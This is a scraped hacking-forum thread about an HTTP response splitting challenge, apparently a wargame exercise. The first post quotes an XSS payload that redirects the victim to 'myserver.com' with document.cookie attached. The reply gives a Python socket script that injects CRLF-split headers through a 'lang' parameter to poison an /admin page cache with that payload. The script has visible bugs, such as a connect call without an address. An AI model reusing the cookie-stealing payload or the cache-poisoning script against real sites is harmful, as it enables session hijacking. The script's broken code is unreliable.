Hackerszone
Welcome Guest,
learn to hack easily with tutorials, python, notepad hacks and more!
Join today, fast and free!

Are you new to hacking? Learn the basics in computer configuration, hacking tools, and hacker terminology all found here on this forum!

Join today!!

Join the forum, it's quick and easy

Hackerszone
Welcome Guest,
learn to hack easily with tutorials, python, notepad hacks and more!
Join today, fast and free!

Are you new to hacking? Learn the basics in computer configuration, hacking tools, and hacker terminology all found here on this forum!

Join today!!
Hackerszone
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Search
 
 

Display results as :
 

 


Rechercher Advanced Search

HZ Tracker
Hacking Widget Visitor Details
Latest topics
»  How to study to understand and apply RPA?
Challenge HTTP Response Splitting EmptyTue Feb 02, 2021 7:12 am by manas41

» SQL injection and Quote escaping
Challenge HTTP Response Splitting EmptySun Jun 28, 2015 11:42 am by ADS1

» [TUT] Chmod: Files & Permissions [TUT]
Challenge HTTP Response Splitting EmptyThu Jun 04, 2015 12:45 pm by Guest

» Reaver pixiewps
Challenge HTTP Response Splitting EmptyThu Jun 04, 2015 12:23 pm by voidfletcher

» How To Crash Someone's Skype in 10 SECONDS
Challenge HTTP Response Splitting EmptyThu Jun 04, 2015 12:20 pm by voidfletcher

» Internet Security & IP Security (IPSec)
Challenge HTTP Response Splitting EmptyMon May 18, 2015 9:00 pm by voidfletcher

» [Python] Infinite / Definite File Generator
Challenge HTTP Response Splitting EmptyMon May 18, 2015 8:58 pm by ADS1

» [C#] String Case-Inversion
Challenge HTTP Response Splitting EmptyMon May 18, 2015 8:57 pm by ADS1

» Rekall Memory Forensic Framework
Challenge HTTP Response Splitting EmptySat May 16, 2015 8:55 pm by ADS1

Who is online?
In total there are 4 users online :: 0 Registered, 0 Hidden and 4 Guests

None

[ View the whole list ]


Most users ever online was 38 on Sun Mar 19, 2023 10:07 pm

Challenge HTTP Response Splitting

2 posters

Go down

Challenge HTTP Response Splitting Empty Challenge HTTP Response Splitting

Post by johnhacker Fri May 30, 2014 12:59 pm

Hi,
Can you help me to correct this code? I do not manage to validate the test of this challenge.

The variable xss has to contain:
Code:

xss = "<html><script>document.location=\"http://myserver.com/index.php?cookie=\"+document.cookie</script></html>"

code :
[You must be registered and logged in to see this link.]

challenge :
[You must be registered and logged in to see this link.]

Thank you!

johnhacker
Noob
Noob

Posts : 5
Join date : 2014-04-27

Back to top Go down

Challenge HTTP Response Splitting Empty Re: Challenge HTTP Response Splitting

Post by kyle5647 Fri May 30, 2014 1:00 pm

ThePH30N1X: Your response is equal to "I don't know what I'm talking about but Google is your friend."

Both unproductive and showing how little you probably know about the subject.
This isn't high school. Here when we reply to people it is conducive to a productive environment.
Almost never will you see a legitimate user ask about something, only to see a response by another user who has been here a while, "Google it n00b."

Now back to the code itself:
You made several mistakes in the use of sockets, and in your syntax.
I won't give you the answer but I have done a bit to help you out.
Good luck.

Code: Python
#!/usr/bin/python
# coding: utf-8
import re, socket, sys, urllib

# create TCP stream
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
print '[!]Failed to create socket. Error code: ' + str(msg[0])
sys.exit();

print '[+] Created TCP socket.'

def encode(data):
return re.sub("\n", "\r\n", data.lstrip())

try:
server = s.connect()
server.connect(("188.165.33.26", 58002))
session = []
except:
print '[!] Unable to resolve.'
print '[!] Closing SOCK_STREAM and exiting.'
s.close();
sys.exit();

# Empty the cache
data = """
GET /admin HTTP/1.1
Cache-Control: no-cache
Cookie: spip_session=%s
""" % (session)
server.send(encode(data))
print '[+] Clearing the cache.'
print server.recv(4096)

# Injection reponse
xss = "VOTRE XSS"
code = """
en
Content-Length: 0
HTTP/1.1 200 OK
Content-Length: %d
%s
""" % (len(xss), xss)
data = """
GET /user/param?lang=%s HTTP/1.1
Cookie: spip_session=%s
""" % (urllib.quote(encode(code)), session)
server.send(encode(data))
print '[+] XSS injected.'
print server.recv(4096)

# Changing the page cache /admin
data = """
GET /admin HTTP/1.1
Cookie: spip_session=%s
""" % (session)
server.send(encode(data))
print '[+] Affichage de la page modifiee'

# receive data from STREAMing socket
print server.recv(4096)

# Close socket.
# This is important.
print '[+] Successful injection.'
print '[!] Closing TCP stream.'
s.close()
kyle5647
kyle5647
Member
Member

Posts : 40
Join date : 2014-04-08

Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum